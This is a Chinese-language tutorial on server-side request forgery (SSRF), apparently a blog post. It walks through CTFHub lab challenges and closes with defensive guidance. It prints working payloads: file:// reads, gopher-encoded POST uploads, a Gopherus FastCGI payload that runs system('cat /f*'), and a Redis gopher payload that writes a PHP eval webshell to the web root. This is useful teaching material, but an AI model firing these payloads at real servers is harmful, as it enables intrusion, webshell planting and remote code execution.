SSRF漏洞原理、漏洞点、利用与防御
SSRF漏洞原理、漏洞点、利用与防御
SSRF介绍
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种网络安全漏洞,攻击者可以构造恶意请求,让服务端充当代理访问内网资源或者其它外网无法访问的资源,绕过网络隔离和一些安全产品的限制。与CSRF不同,CSRF是客户端的请求伪造,SSRF是服务端的请求伪造。可以简单理解为让服务器充当代理,从而访问其内部资源或其它有限制的资源。
SSRF原理
因为在搭建一个web应用的过程中,难免会使用到一些外部服务器中的资源,当服务端应用程序在处理用户可控的URL或资源地址时,没有对目标地址、协议进行验证和限制,可能会导致攻击者可以利用服务器作为代理,访问内网系统、本地文件和云服务资源,获取机密文件和数据。
常见漏洞点
- 图片与文件处理(通过 URL 上传或者下载头像、封面、附件)
- 内容导入与预览(在线文档或网页预览)
- XML、SVG 与解析器(XML 外部实体加载、SVG 外部资源引用、某些媒体处理库自动加载远程资源)
- Webhook 与回调(Webhook 地址配置、支付回调、消息回调)
SSRF的利用
这里是在ctfhub靶场上做演示,生产环境请在获得授权的情况下测试!!!
访问内网资源
通过修改参数url来访问其内网环境,获得其中资源。
http://challenge-fa811493b7ea5804.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php通过伪协议读取本地文件
这里讲一下,php和Java的SSRF中,两种语言可以利用的伪协议是不同的。如下
php常用伪协议:http、https、ftp、ftps、php、file、dict、data、gopher;
java常用伪协议:file、ftp、http、https、jar、mailto、netdoc(jdk11版本以下)、gopher(jdk1.8版本以下);
这里我就不仔细说了,查看资料链接如下:
- https://xz.aliyun.com/news/195
- https://it.idocdown.com/app/articles/blogs/detail/2883
- https://www.freebuf.com/articles/web/364113.html
通过file伪协议来读取本地文件
http://challenge-be4b40038ada4d45.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php进行端口扫描
通过http协议进行端口扫描,来确定目标主机开放了哪些网络服务,以及这些服务可能暴露的风险。
将包发到intruder来进行端口扫描
查看结果
就8729端口返回长度和其它不同,打开就可以看到flag了
上传文件
打开靶场,将url参数改成
url=127.0.0.1/flag.php可以看到文件上传位置,但是没有提交按钮,可以自己手动加
<inputtype="submit"name="submit">
但是我们直接提交文件是过不了的,所以只能利用ssrf漏洞来提交
我们可以利用gopher伪协议来提交文件,下面这个是数据包(网上直接找的)
POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 292 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain SSRF Upload ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundary1lYApMMA3NDrr2iY--但是要经过两次url编码,因为在这里会进行两次url解码,第一次是发送给web服务器会解码,第二次是发送给gopher的服务会解码。这里要注意一个点:如果在第一次url编码后,换行符编码后是%0A的话,要改成%0D%0A,这个是因为网络协议规定:一行结束必须使用 \r\n,不能只用\n,而一些编码器在编码的时候,换行符默认是\n,所以url编码后是%0A,这个会导致我们的服务解析出现问题,出现400的情况。
二次编码后值如下:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--url的值为:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--成功拿到flag
利用FastCGI协议实现RCE
FastCGI 是通信协议;PHP-FPM 是 PHP 对 FastCGI 的一种实现,同时负责管理 PHP 工作进程;可以理解为浏览器将http请求发送到nginx等中间件,中间件将HTTP生成对应的FastCGI,转给PHP-FPM,从而使PHP解释器能执行脚本。
这里我看下面几位师傅文章理解的,如有错误,请见谅
- https://blog.csdn.net/mysteryflower/article/details/94386461
- https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
这里使用Gopherus3-main工具,使用教程:https://blog.csdn.net/weixin_68416970/article/details/139440201,我就不详细介绍了。
下载安装完成后,使用下面命令
python -m gopherus3.gopherus --exploit fastcgi index.php cat /f*
再进行url编码一次,下面是最后答案,这里要记得删除没有用的空格或者换行,在这里踩一直坑,后面网上找师傅们的wp才知道的
?url= gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500redis写入shell
这里我工具出了点问题,我直接给网上的URL了
先用工具python2 gopherus.py --exploit redis生成gopher,然后再进行一次url编码即可 一句话木马写:<?php @eval($_POST['cmd']); ?> 答案如下: ?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A使用hackbar执行cmd=system(‘cat /f*’);就可以获得flag
在我看来,其实ssrf就是把攻击面扩大了而已,原本只能攻击互联网中的资产,但是有了ssrf后,相当于你开了个代理,可以到他们内网中去,攻击他们内网资产。
SSRF防御
- 输入验证与过滤:对输入的URL进行白名单验证,不在白名单中进行禁止与限制,可通过正则表达式来实现,以及限制协议的端口与类型,必要时,还可以加token机制来限制爆破可用域名与协议。如加载URL中的照片时,正常是url=http://XXX/a.jpg读取照片,而没验证与过滤时,可以是url=file:///etc/passwd读取任意文件;
- 输出验证与过滤:对输出的内容进行多方面验证,如正则表达式匹配、后缀名匹配、内容匹配、格式匹配等等,以及报错页面统一,不要将报错信息直接传输个客户端。如获得照片的功能,没有进行输出过滤,正常是url=http://XXX/getjpg读取照片链接返回加载,异常可能是url=http://XXX/getcard读取身份证号;
- 最小权限化:给服务和应用程序应该只给它可以完成其功能所需要的最低权限。如某服务只是把用户头像存入对象存储,它不应该拥有管理员角色;
- 禁用重定向:禁止 HTTP 客户端自动跟随重定向,若业务必须支持重定向,应逐跳校验协议、域名、端口及解析后的 IP 地址。如HTTP 客户端自动跟随重定向,就可能访问云服务器的元数据地址或者内网资源,形成 SSRF;
- 超时返回错误页面:对外部请求设置较短的连接超时和读取超时。发生超时时,统一返回通用错误页面,不向用户暴露目标地址、内网 IP、端口、连接状态或底层异常信息。如攻击者控制的服务器每隔几十秒只返回少量数据,并且应用没有读取超时和响应大小限制,一次请求可能长期占用工作线程。大量类似请求可能耗尽资源,造成拒绝服务;
- 配置Web应用防火墙(WAF):这个就老生常谈的事情了,我就不过多解释了,各位师傅这方面可能比我厉害多了。
总结
SSRF 的本质是服务端对用户可控的 URL 缺少限制,导致攻击者借助服务器访问内网、本地文件或云资源,进而造成信息泄露、端口探测,甚至代码执行。SSRF 相当于为攻击者提供了一个位于目标网络内部的代理,使攻击面从公网资产扩大到内网服务及其他受限资源。因此,防御时应结合 URL 白名单、协议与端口限制、内网地址拦截、重定向校验、超时与响应大小限制、输出过滤、最小权限和网络隔离等措施。WAF 只能作为补充,不能替代代码层和网络层的安全控制。